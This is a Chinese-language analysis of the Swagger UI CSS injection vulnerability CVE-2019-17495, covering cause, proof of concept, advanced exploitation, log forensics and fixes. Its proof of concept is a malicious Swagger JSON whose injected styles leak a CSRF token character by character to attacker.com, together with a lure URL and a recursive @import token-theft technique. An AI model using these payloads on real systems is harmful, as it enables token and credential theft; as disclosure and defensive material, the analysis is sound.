CVE-2019-17495: Swagger UI CSS 注入漏洞深度分析

0x00 漏洞背景与详情

  • CVE ID: CVE-2019-17495
  • 影响组件: Swagger UI
  • 受影响版本: Swagger UI < 3.23.11
  • 漏洞类型: CSS 注入 (CSS Injection) / 信息泄露
  • 危险等级: 中高危 (CVSS 6.1,但在特定场景下可导致高危信息泄露)

Swagger UI 是全球最流行的 RESTful API 文档可视化工具,广泛集成于各类后端框架(如 Spring Boot、Node.js 等)中。CVE-2019-17495 是一个存在于旧版 Swagger UI 中的安全缺陷。由于系统允许加载远程不受信的 API 配置文件,且未对文件中的特定字段进行严格的渲染过滤,攻击者可以注入恶意 CSS 代码,窃取受害者页面上的敏感数据。

0x01 漏洞原理分析

漏洞的核心成因在于两点:不安全的远程资源加载缺乏防御的 Markdown/HTML 渲染

  1. 远程加载机制: Swagger UI 支持通过 URL 中的 ?url= 参数动态加载远端的 Swagger 配置文件(JSON 或 YAML 格式)。
  2. 渲染缺陷: 在解析加载的配置文件时,Swagger UI 会将文件中的 descriptiontitle 等字段渲染到 HTML 页面中。在受影响版本中,该渲染过程未能有效过滤 <style> 标签。
  3. CSS 注入窃密机制: 攻击者注入 CSS 后,利用 CSS3 的属性选择器 (Attribute Selectors) 匹配页面上已经存在的敏感 DOM 元素(如自动填充的密码框、包含 CSRF Token 的隐藏表单等)。当选择器匹配成功时,通过 background-imagelist-style-image 等属性向攻击者的服务器发起带外 (OOB) HTTP 请求,从而将匹配到的字符逐位“偷”走。

0x02 POC (Proof of Concept)

攻击过程通常分为两步:

步骤 A:准备恶意配置文件 malicious.json

攻击者在自己的服务器上托管一个恶意的 Swagger 配置文件,其中包含遍历敏感 Token 的 CSS 规则:

{
  "swagger": "2.0",
  "info": {
    "title": "Exploit Demo API",
    "description": "<style>\n  /* 假设页面中存在 name='csrf-token' 的隐藏 input */\n  input[name='csrf-token'][value^='a'] { background-image: url('http://attacker.com/log?char=a'); }\n  input[name='csrf-token'][value^='b'] { background-image: url('http://attacker.com/log?char=b'); }\n  /* ... 遍历所有可能的起始字符 ... */\n</style>"
  },
  "paths": {}
}

步骤 B:诱导受害者访问

攻击者将构造好的链接发送给管理员或目标用户:

https://target-app.com/swagger-ui.html?url=https://attacker.com/malicious.json

当受害者访问该链接时,Swagger UI 会加载 malicious.json,浏览器解析并应用其中的 <style> 标签,若页面存在匹配的 Token,就会静默向 http://attacker.com/log 发送请求。

0x03 高级利用姿势

在实战中,静态的 CSS 注入由于需要穷举所有字符组合,Payload 会极其庞大。红队通常采用以下高级姿势:

1. 递归/动态 CSS 盲打 (Blind Token Stealing)

利用服务端的动态响应来减少 Payload 体积。

  • 初始注入时只探测 Token 的第一个字符。
  • 攻击者的 OOB 接收端收到第一个字符后,利用 CSS @import 规则动态返回新的 CSS 样式表,继续探测前缀为 已知字符+新字符 的组合。
  • 这种“链式引入”可以在几秒钟内高效地将一个 32 位的 CSRF Token 完整窃取。

2. 结合 RPO (Relative Path Overwrite)

如果目标系统同时存在相对路径覆盖(RPO)漏洞,攻击者可以将包含恶意 CSS 的页面伪装成样式表,强制浏览器加载,实现比纯 Swagger 参数注入更深度的页面劫持(如修改按钮链接、伪造登录框窃取凭证)。

3. DOM 探测与内网刺探

利用 CSS 选择器,攻击者不仅可以窃取 Input 值,还可以探测页面中特定的 Class、Id 甚至特定链接(如后台管理链接)的存在与否,为后续的权限提升或内网渗透收集情报。

0x04 应急排查与日志痕迹分析

当怀疑系统遭到此类攻击时,应从以下维度进行排查:

1. Web 访问日志 (Access Log) 分析

  • 恶意 URL 参数:全局检索日志,寻找 URI 中包含 ?url= 且参数值指向外部不可信域名的记录。
    • 特征示例:GET /swagger-ui.html?url=http://evil.com/api.yaml HTTP/1.1
  • 带外请求特征:虽然带外请求直接由受害者浏览器发给攻击者,不会留在服务器日志中,但在某些企业内网环境中,可以通过出口网关(Proxy/防火墙)日志排查是否存在向未知 IP 发送的大量带单个字符参数的请求(如 ?char=a)。

2. WAF 与 IDS 告警分析

  • 检查是否存在触发 CSS InjectionXSSRemote Resource Loading 告警的事件。特别是 description 字段包含 <style> 标签的 JSON 返回包。

3. 流量特征

  • 服务器会主动发起向外的 HTTP 请求去获取配置。如果服务器在 DMZ 区,应排查防火墙外联日志,查看应用服务器是否突然访问了外部的异常 IP。

0x05 修复与防御建议

  1. 升级组件(根本修复):将项目中的 Swagger UI 升级至 3.23.11 或更高版本。新版本对渲染进行了严格的安全过滤。
  2. 禁用远程加载:如果业务不需要加载外部 API 文档,通过配置关闭 URL 参数加载功能。
  3. 内容安全策略 (CSP):实施严格的 CSP 头,特别是 style-src(禁止 unsafe-inline)和 img-src,从浏览器层面彻底阻断非预期的样式执行和外部请求外发。

0x06 参考资料